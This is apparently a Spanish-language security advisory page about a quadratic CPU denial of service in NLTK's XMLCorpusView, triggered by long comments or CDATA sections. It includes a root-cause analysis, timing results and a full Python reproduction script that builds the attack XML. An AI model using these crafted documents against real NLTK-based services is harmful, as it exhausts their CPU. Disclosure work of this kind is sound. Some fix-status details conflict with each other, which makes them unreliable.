Alta

NLTK: El análisis de comentarios y CDATA en XMLCorpusView permite denegación de servicio cuadrática de CPU

  • Publicada: 19.11.2026
  • Actualizado: 22.11.2026 10:00

Afectado: PyPI nltk >= 3.6 — lectura en streaming de nltk.corpus.reader.xmldocs.XMLCorpusView (y los lectores nps_chat / framenet basados en este) Reproducido dinámicamente: 3.6 (comprobaciones 6/6), 3.9.2 (6/6), 3.10.3 (6/6) y develop 6818767b9 (6/6)


Las referencias al código fuente (nltk/corpus/reader/xmldocs.py:NNN) corresponden al commit 6818767b99c24659107eb2be9bccd32a3d4bf045 (develop, v3.10.3-15-g6818767b9). El archivo xmldocs.py del wheel publicado de v3.10.3 es idéntico byte a byte a dicho commit, por lo que se aplican los mismos números de línea.

Resumen

Un atacante que consiga que una víctima lea un archivo de corpus XML bien formado cuyo contenido incluya un comentario grande o una sección CDATA puede monopolizar un núcleo de CPU durante un tiempo cuadrático con respecto al tamaño del archivo, debido a que XMLCorpusView._read_xml_fragment (nltk/corpus/reader/xmldocs.py) vuelve a ejecutar una validación lineal de todo el búfer tras cada bloque de 1 KiB mientras el terminador del comentario o CDATA se encuentra más adelante. XMLCorpusView es la API documentada de NLTK para lectura en streaming de corpus XML y es instanciada directamente por los lectores NPSChatCorpusReader y FramenetCorpusReader; la cabecera del módulo (xmldocs.py:16-20) gestiona explícitamente XML de corpus no confiable. La protección in_tag agregada a esta función para GHSA-vp2x cubre únicamente una etiqueta <...> sobredimensionada, dejando la ruta de CDATA/comentarios con comportamiento cuadrático en la versión actual.

Detalles

Causa raíz: _read_xml_fragment (xmldocs.py:273-338) acumula el archivo en una cadena fragment en fragmentos de _BLOCK_SIZE (1024) caracteres (xmldocs.py:123, 298-299). Tras cada bloque que aún no forma un prefijo bien formado, el fragmento se revalida contra _VALID_XML_RE. Dos operaciones de búfer completo dominan el coste:

python
# xmldocs.py:308
if not in_tag and self._VALID_XML_RE.match(fragment):      # whole-buffer match (O(len))
    return fragment
# xmldocs.py:312
if re.search("[<>]", fragment).group(0) == ">":            # O(1) for this input class:
    ...                                                     # the document starts with '<'
# xmldocs.py:329
if self._VALID_XML_RE.match(fragment[:last_open_bracket]): # whole-buffer prefix match (O(len))
    ...

Para esta clase de entrada, la comprobación re.search en la línea xmldocs.py:312 es O(1): el fragmento siempre comienza con < (p. ej., <root>…), por lo que el primer carácter </> se encuentra en el desplazamiento 0 y no añade coste. El coste cuadrático proviene exclusivamente de las dos coincidencias de expresiones regulares sobre todo el búfer en xmldocs.py:308 y xmldocs.py:329 (esta última analiza el búfer hasta el < más reciente, que para esta entrada está cerca del final del búfer).

_VALID_XML_RE (xmldocs.py:238-249) es una expresión regular lineal (los cuerpos de comentarios/CDATA con tempered dot (?:(?!-->).)* / (?:(?!\]\]>).)* analizan de izquierda a derecha en O(longitud), confirmado por la prueba de coincidencia simple del script), pero para un fragmento cuyo terminador está lejano, la coincidencia falla tras recorrer todo el búfer. Con un comentario o CDATA no cerrado a lo largo de varios bloques, cada uno de los n/1024 bloques incurre en un coste de O(longitud actual del búfer) en las líneas 308 y 329, sumando un total de ~O(n²) operaciones sobre caracteres.

La protección in_tag agregada para GHSA-vp2x (xmldocs.py:283-305) solo supervisa caracteres </> sueltos: está en estado True dentro de una etiqueta <...> no cerrada y, en ese estado, solo omite la coincidencia de la línea 308. Nunca detecta si "el fragmento se encuentra dentro de un comentario o CDATA no cerrado" —XML permite caracteres </> arbitrarios dentro de dichas construcciones—, por lo que tanto la coincidencia de la línea 308 como la de retroceso de la línea 329 continúan ejecutándose en cada bloque para fragmentos de CDATA o comentarios. El bloque de comentarios en xmldocs.py:283-289 documenta la linealidad esperada ("re-running it on every 1 KiB block otherwise makes a single oversized tag O(n^2) (CWE-407)"); la protección solo implementó esto para las etiquetas.

El coste de una coincidencia individual es lineal, no superlineal: el script integrado mide _VALID_XML_RE.match() en búferes con CDATA sin cerrar de 512 KiB → 1 MiB → 2 MiB y obtiene ≈ 0.074 s → 0.142 s → 0.280 s (≈ 1:1.9:3.8, es decir, lineal), demostrando que la relación 4× se mantiene lejos del límite cuadrático. El total cuadrático procede de volver a ejecutar dichas coincidencias lineales por cada bloque; el mismo patrón CWE-407 que la protección de etiquetas debía eliminar.

Diferencias entre versiones (verificadas dinámicamente):

  • 3.10.3 / develop (protección presente): La expresión regular valida CDATA correctamente, por lo que tanto los documentos de ataque con comentario como con CDATA se leen con éxito y retornan; ambos escalan de forma superlineal (t(4n)/t(n) ≈ 13-16; lineal sería ≈ 4). El caso de control con una etiqueta sobredimensionada se lee de forma lineal (proporción ≈ 4.0), evidenciando que el comportamiento cuadrático es específico de la ruta no protegida de comentarios y CDATA.
  • 3.6 / 3.9.2 (previo a la protección): Estas versiones usan un _VALID_XML_RE perezoso cuya alternativa CDATA <![CDATA[.*?]]> nunca coincide (la subcadena [CDATA[.*?] se analiza como clase de caracteres), por lo que un documento CDATA es rechazado con ValueError: Unexpected end of file: tag not closed tras el escaneo cuadrático (un defecto funcional adicional). La variante con comentario es un documento bien formado en estas versiones y también presenta escala cuadrática (t(4n)/t(n) ≈ 14-16); la prueba de control de etiqueta sobredimensionada también escala de forma cuadrática (proporción ≈ 16), lo que demuestra que toda la clase de construcciones no cerradas abordada por GHSA-vp2x no estaba parcheada.

PoC

El script de prueba incluido al final genera un documento XML bien formado cuya raíz contiene un comentario grande con caracteres </> sin --> antes del marcador final, ejecuta el lector de fragmentos de XMLCorpusView en tamaños n y 4n, y verifica que la proporción al duplicar el tamaño supera con creces el comportamiento lineal. También ejecuta la variante CDATA, una prueba de linealidad de coincidencia única, un control lineal de etiqueta gigante, una validación de formato y una comprobación de alcance desde la API pública.

Alcance: Ejecutado dinámicamente en 3.6, 3.9.2, 3.10.3 (wheels publicados de PyPI / wheel local 3.10.3) y develop 6818767b9 (código fuente). No se probaron otras versiones; el límite >= 3.6 representa la versión más antigua verificada. Entorno: CPython 3.10.12, Linux x86_64. Tamaños de entrada: 64 KiB frente a 256 KiB (ataque) y 1 MiB frente a 4 MiB (control lineal).

Transcripción de ejecución (ejecución registrada sobre el wheel 3.10.3; las ejecuciones para 3.6, 3.9.2 y develop 6818767b9 se resumen a continuación):

[TIMING] unclosed comment  n=65558 t=0.083s  4n=262166 t=1.070s  ratio=12.9  (n->returned)
[PASS] attack document is well-formed XML (parses with ElementTree)  (both sizes parse; root element tag='root')
[PASS] unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4)  (measured 12.9)
[INFO] in-tag guard present in module: True
[TIMING] CDATA variant       n=65561 t=0.142s  4n=262169 t=2.169s  ratio=15.3  (n->returned)
[PASS] CDATA variant also super-linear on guard-present build  (measured 15.3)
[TIMING] single _VALID_XML_RE.match  256KiB=0.0083s  512KiB=0.0741s  1MiB=0.1419s  2MiB=0.2804s
[PASS] single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear)  (measured 4x ratio=3.79)
[TIMING] oversized tag (control)  n=1048576 t=0.059s  4n=4194304 t=0.242s  ratio=4.1
[PASS] oversized single tag reads linearly (guard present; t(4n)/t(n) < 8)  (measured 4.1)
[PASS] public API list(XMLCorpusView(path, '.*')) reads the attack document  (1 item(s) read from 65558-byte document)
RESULT 6/6 checks passed, 0 failed

Otras ejecuciones (todas 6/6; líneas principales):

3.6  (pre-guard):  comment ratio=15.5 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=1.19
3.9.2 (pre-guard):  comment ratio=15.0 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=0.95
develop 6818767b9:  comment ratio=13.0 (returned); CDATA ratio=15.3 (returned); tag control ratio=3.9; single-match 4x ratio=3.76

(Las proporciones de coincidencia simple en versiones previas a la protección carecen de sentido, ya que la alternativa CDATA inactiva falla en O(1), y se reportan únicamente por completitud).

Impacto

  • Tipo: CWE-407 / CWE-400 — Agotamiento de CPU / denegación de servicio por complejidad algorítmica al procesar un único archivo de corpus no confiable; sin impacto en confidencialidad o integridad.
  • Afectados: Cualquier entorno que proporcione XML de corpus a XMLCorpusView (o a los lectores nps_chat / framenet) desde fuentes no totalmente confiables —el modelo de amenazas documentado en SECURITY.md—. La entrada consiste en XML normal y bien formado.
  • Requisitos del atacante: Proveer un archivo XML bien formado cuyo cuerpo contenga un comentario largo o una sección CDATA con caracteres </> y el terminador al final. No se requieren privilegios ni interacción del usuario más allá de la lectura automatizada del archivo (el mismo modelo que otros problemas de carga de recursos en NLTK, como SECURITY.md, lo que justifica UI:N y AV:N).
  • Efecto: Medido 256 KiB → ~1.1 s en lectura única; el coste escala con el cuadrado del tamaño de entrada (t(4n)/t(n) ≈ 13-16). Unos pocos MiB toman decenas de segundos y decenas de MiB requieren minutos de CPU en un núcleo.

Corrección sugerida: Extender el seguimiento incremental de estado a CDATA/comentarios/DOCTYPE tal como in_tag realiza para etiquetas: al escanear cada bloque leído, registrar si el fragmento reside dentro de una construcción <!... no cerrada (sin ]]> / --> / terminador doctype), y omitir las búsquedas sobre todo el búfer en xmldocs.py:308 y xmldocs.py:329. Alternativamente, revalidar únicamente el nuevo bloque junto a un sufijo acotado en lugar del búfer en crecimiento. Añadir pruebas de regresión siguiendo el modelo del clúster nltk/test/unit/test_quadratic_dos.py (GHSA-vp2x).


Script de reproducción

python
#!/usr/bin/env python3
"""Self-checking reproduction of the NLTK XMLCorpusView algorithmic-complexity
CPU DoS for unclosed-across-blocks CDATA / comments (O(n^2) read cost).

Root cause: ``XMLCorpusView._read_xml_fragment`` (``nltk/corpus/reader/xmldocs.py``)
reads a file in 1024-char blocks and accumulates them into a single ``fragment``.
After every block that is not yet a well-formed prefix, it re-runs a *linear*
pass over the whole growing buffer -- ``_VALID_XML_RE.match(fragment)`` and, when
it backtracks, ``_VALID_XML_RE.match(fragment[:last_lt])``. (A third probe,
``re.search("[<>]", fragment)``, is O(1) here because the document starts with
'<'.)
For a fragment that stays "unclosed"
across many blocks -- a CDATA section or comment whose terminator (``]]>`` /
``-->``) lies far ahead -- every block costs O(current buffer length), so a
single document of N bytes costs ~O(N^2) character operations. The in-tag guard
added for GHSA-vp2x tracks only a bare '<'..'>' tag and is blind to unclosed
CDATA / comment state, so this class remains quadratic in the current release.

The attack documents are *well-formed* XML: comments and CDATA may legally
contain '<' and '>'.

Controls:
  1. Well-formedness: the attack document parses with ElementTree.
  2. Linear baseline on the same reader: an oversized *single tag* of the same
     size reads linearly when the in-tag guard is present (the fixed GHSA-vp2x
     case). On pre-guard builds it is quadratic too -- reported, not asserted.
  3. Public API reachability: ``list(XMLCorpusView(path, ".*"))`` drives the
     same sink.

Assertions:
  - attack doubling ratio t(4n)/t(n) must clearly exceed the linear bound (~4).
  - tag-control doubling ratio must be ~linear (< 8) when the guard is present.

Usage:
    python3 repro_xmlcorpusview_unclosed_cdata.py
Env:
    PYTHONPATH : site-packages of the nltk version under test (required)
    NLTK_BODY_SIZE : comment/CDATA body size in bytes (default 65536)
"""
import io
import os
import shutil
import sys
import tempfile
import time

import xml.etree.ElementTree as ET

# Point NLTK's sandbox at a private data root so the public API reachability
# check below may open its own corpus file (pathsec only trusts data roots and
# private temp dirs; a shared /tmp is not an allowed root).
_DATA_ROOT = os.environ.get("NLTK_DATA")
_CLEANUP_ROOT = None
if not _DATA_ROOT:
    _DATA_ROOT = tempfile.mkdtemp(prefix="nltk_xmlview_")
    os.environ["NLTK_DATA"] = _DATA_ROOT
    _CLEANUP_ROOT = _DATA_ROOT

from nltk.corpus.reader.xmldocs import XMLCorpusView


def elapsed(fn):
    start = time.perf_counter()
    fn()
    return time.perf_counter() - start


def build_comment_doc(body_size):
    # Well-formed XML: one root, one large comment containing '<' and '>' and
    # no '-->' before the closing marker.
    body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
    return "<root><!-- " + body + " --></root>"


def build_cdata_doc(body_size):
    # Well-formed XML: one root, one large CDATA containing '<' and '>' and no
    # ']]>' before the closing marker.
    body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
    return "<root><![CDATA[" + body + "]]></root>"


def build_unclosed_cdata_prefix(body_size):
    # The line-308 match input: an accumulating fragment that is still inside
    # an unclosed CDATA (no ']]>' yet). A distinct body alphabet avoids CPU-cache
    # reuse with the attack-timing buffers above, which would skew the timing.
    body = ("x<y<z<w>" * ((body_size // 8) + 1))[:body_size]
    return "<root><![CDATA[" + body


def build_giant_tag(body_size):
    # Control: a single oversized '<a ...>' tag, no '>' until the very end.
    return "<a " + ("x" * body_size) + ">"


def guard_present():
    import nltk.corpus.reader.xmldocs as m

    with open(m.__file__, encoding="utf-8") as fh:
        return "in_tag" in fh.read()


view = XMLCorpusView.__new__(XMLCorpusView)
results = []


def check(name, cond, detail=""):
    results.append(bool(cond))
    print(f"[{'PASS' if cond else 'FAIL'}] {name}" + (f"  ({detail})" if detail else ""))


def read_frag(doc):
    """Drive _read_xml_fragment, tolerating the EOF ValueError that pre-guard
    releases raise for CDATA-containing documents."""
    try:
        return view._read_xml_fragment(io.StringIO(doc))
    except ValueError as exc:
        return "ValueError: %s" % exc


def time_ratio(build, n1, n4):
    d1, d4 = build(n1), build(n4)
    t1 = elapsed(lambda: read_frag(d1))
    t4 = elapsed(lambda: read_frag(d4))
    return d1, d4, t1, t4


# ---- Sizes ---------------------------------------------------------------
body = int(os.environ.get("NLTK_BODY_SIZE", "65536"))
tag1, tag4 = 1 << 20, 4 << 20  # 1 MiB / 4 MiB (guard-present linear baseline)

# ---- Primary attack: large comment unclosed until its final '-->' ---------
c1, c4, t1, t4 = time_ratio(build_comment_doc, body, 4 * body)
ratio = t4 / t1
out1 = read_frag(c1)  # outcome probe (returned string vs ValueError)
outcome = "returned" if isinstance(out1, str) and not out1.startswith("ValueError") else out1
print(f"[TIMING] unclosed comment  n={len(c1)} t={t1:.3f}s  "
      f"4n={len(c4)} t={t4:.3f}s  ratio={ratio:.1f}  (n->{outcome})")
check(
    "attack document is well-formed XML (parses with ElementTree)",
    ET.fromstring(c1).tag == "root" and ET.fromstring(c4).tag == "root",
    f"both sizes parse; root element tag='{ET.fromstring(c1).tag}'",
)
check(
    "unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4)",
    ratio > 10.0,
    f"measured {ratio:.1f}",
)

# ---- CDATA variant ---------------------------------------------------------
has_guard = guard_present()
print(f"[INFO] in-tag guard present in module: {has_guard}")
d1, d4, td1, td4 = time_ratio(build_cdata_doc, body, 4 * body)
dratio = td4 / td1
dout = read_frag(d1)
doutcome = "returned" if isinstance(dout, str) and not dout.startswith("ValueError") else dout
print(f"[TIMING] CDATA variant       n={len(d1)} t={td1:.3f}s  "
      f"4n={len(d4)} t={td4:.3f}s  ratio={dratio:.1f}  (n->{doutcome})")
if has_guard:
    check(
        "CDATA variant also super-linear on guard-present build",
        dratio > 10.0,
        f"measured {dratio:.1f}",
    )
else:
    # Pre-guard releases cannot validate any CDATA (their regex's CDATA
    # alternative never matches), so the fragment ends in ValueError -- a
    # separate functional defect; report only.
    check(
        "pre-guard CDATA path ends in ValueError (regex cannot validate CDATA; report-only)",
        doutcome.startswith("ValueError"),
        str(doutcome),
    )

# ---- Single-match linearity of _VALID_XML_RE ------------------------------
# The quadratic total comes from re-running a *linear* whole-buffer match on
# every block, not from the regex itself backtracking super-linearly (a single
# match would then also blow up with input size). Verify single-match scaling.
# The assertion uses the 512 KiB -> 2 MiB pair (the 256 KiB size runs ~4x
# faster in an already-warmed engine, so it is reported but not asserted on).
def best_match_ms(buf):
    view._VALID_XML_RE.match(buf)  # warm-up (cache pattern + char-class state)
    return min(elapsed(lambda: view._VALID_XML_RE.match(buf)) for _ in range(3))


ms = {s: best_match_ms(build_unclosed_cdata_prefix(s)) for s in (1 << 18, 1 << 19, 1 << 20, 1 << 21)}
print(f"[TIMING] single _VALID_XML_RE.match  256KiB={ms[1 << 18]:.4f}s  512KiB={ms[1 << 19]:.4f}s  "
      f"1MiB={ms[1 << 20]:.4f}s  2MiB={ms[1 << 21]:.4f}s")
check(
    "single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear)",
    ms[1 << 21] / ms[1 << 19] < 6.0,
    f"measured 4x ratio={ms[1 << 21] / ms[1 << 19]:.2f}",
)

# ---- Control: giant single tag on the same reader ---------------------------
if has_guard:
    g1, g4, tg1, tg4 = time_ratio(build_giant_tag, tag1, tag4)
    gratio = tg4 / tg1
    print(f"[TIMING] oversized tag (control)  n={tag1} t={tg1:.3f}s  "
          f"4n={tag4} t={tg4:.3f}s  ratio={gratio:.1f}")
    check(
        "oversized single tag reads linearly (guard present; t(4n)/t(n) < 8)",
        gratio < 8.0,
        f"measured {gratio:.1f}",
    )
else:
    g1, g4, tg1, tg4 = time_ratio(build_giant_tag, body, 4 * body)
    gratio = tg4 / tg1
    print(f"[TIMING] oversized tag (no guard)  n={len(g1)} t={tg1:.3f}s  "
          f"4n={len(g4)} t={tg4:.3f}s  ratio={gratio:.1f}")
    check(
        "oversized single tag also super-linear pre-guard (report-only)",
        gratio > 4.0,
        f"measured {gratio:.1f}",
    )

# ---- Reachability: the public XMLCorpusView API drives the same sink -------
path = os.path.join(_DATA_ROOT, "attack.xml")
with open(path, "w", encoding="utf-8") as fh:
    fh.write(c1)
try:
    items = list(XMLCorpusView(path, ".*"))
    check(
        "public API list(XMLCorpusView(path, '.*')) reads the attack document",
        len(items) >= 1,
        f"{len(items)} item(s) read from {len(c1)}-byte document",
    )
finally:
    if _CLEANUP_ROOT:
        shutil.rmtree(_CLEANUP_ROOT, ignore_errors=True)

passed = sum(results)
failed = len(results) - passed
print(f"RESULT {passed}/{len(results)} checks passed, {failed} failed")
sys.exit(0 if failed == 0 else 1)

Estado de la solución (2026-09-28)

Estado: EN PROGRESO (solución en un pull request abierto, no integrada aún en develop).

Dos pull requests abiertos contienen la corrección:

  • PR: #3753 "[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path", abierto; commit da55cab0e al momento de esta nota (fusión de develop sobre 238f81500). Commits de corrección: cf12a5e6a (XMLCorpusView._read_xml_fragment aumenta su ventana de lectura geométricamente; SeekableUnicodeStreamReader.readline busca solo en el nuevo tramo) y 2acc9bd97 (readline acumula tramos en una lista). Prueba: nltk/test/unit/security_probes/ghsa_j8g8_j4j7_8j54.py; resultado: CORREGIDO (readline escala a 4.1x con una entrada de 4x).
  • PR: #3895 "[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)", abierto, commit b22ebe144. Commit de corrección: 002bcf714; la prueba de #3753 ejecutada en este commit: CORREGIDO (1.6x con entrada de 4x).

La prueba ejecutada en develop 2fa3f48fe: VULNERABLE (readline escala a 18.7x con entrada de 4x).

Versión publicada: ninguna.

Qué hacer

La remediación no está establecida aún ("Release: none"). Las correcciones están en curso a través de solicitudes de extracción abiertas (#3753 y #3895).

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) nltk >= 3.6, < 3.10.4 3.10.4

Referencias

Puntuación CVSS 7.5/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Debilidad (CWE)
CWE-400, CWE-407
Plataforma
Python (PyPI)
Paquete
nltk
Publicada
19.11.2026
Actualizado
22.11.2026 10:00

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-j8g8-j4j7-8j54 - CC BY 4.0

Historial de vulnerabilidades: nltk

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (79) en el archivo
Entradas en total
79
Primera → última
08.2019 11.2026
Sin corrección
5
Explotada en ataques
0

Distribución por gravedad

  • Crítica 5
  • Alta 41
  • Media 31
  • Baja 2

Divulgaciones por año

  1. 2019: 1
  2. 2020: 0
  3. 2021: 2
  4. 2022: 1
  5. 2023: 0
  6. 2024: 1
  7. 2025: 0
  8. 2026: 74
Gravedad:
  1. NLTK: El análisis de comentarios y CDATA en XMLCorpusView permite denegación de servicio cuadrática de CPU esta entrada
    Alta · 7.5 CVE-2026-128139 >= 3.6, < 3.10.4 3.10.4
  2. Alta CVE-2026-79674 < 3.10.3 3.10.3
  3. Alta · 8.8 CVE-2026-71513 >= 3.10.0, < 3.10.3 3.10.3
  4. Alta · 5.9 CVE-2026-62385 < 3.10.0 3.10.0
  5. Alta · 7.5 CVE-2026-33231 < 3.9.4 3.9.4
  6. Alta · 8.6 CVE-2026-0847 < 3.9.3 3.9.3
  7. Crítica · 10.0 CVE-2025-14009 < 3.9.3 3.9.3
  8. Alta · 7.5 CVE-2024-39705 < 3.9 3.9
  9. Alta · 7.5 CVE-2021-3842 < 3.6.6 3.6.6
  10. Alta · 7.5 CVE-2021-3828 < 3.6.4 3.6.4
  11. Alta · 7.5 CVE-2019-14751 < 3.4.5 3.4.5

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.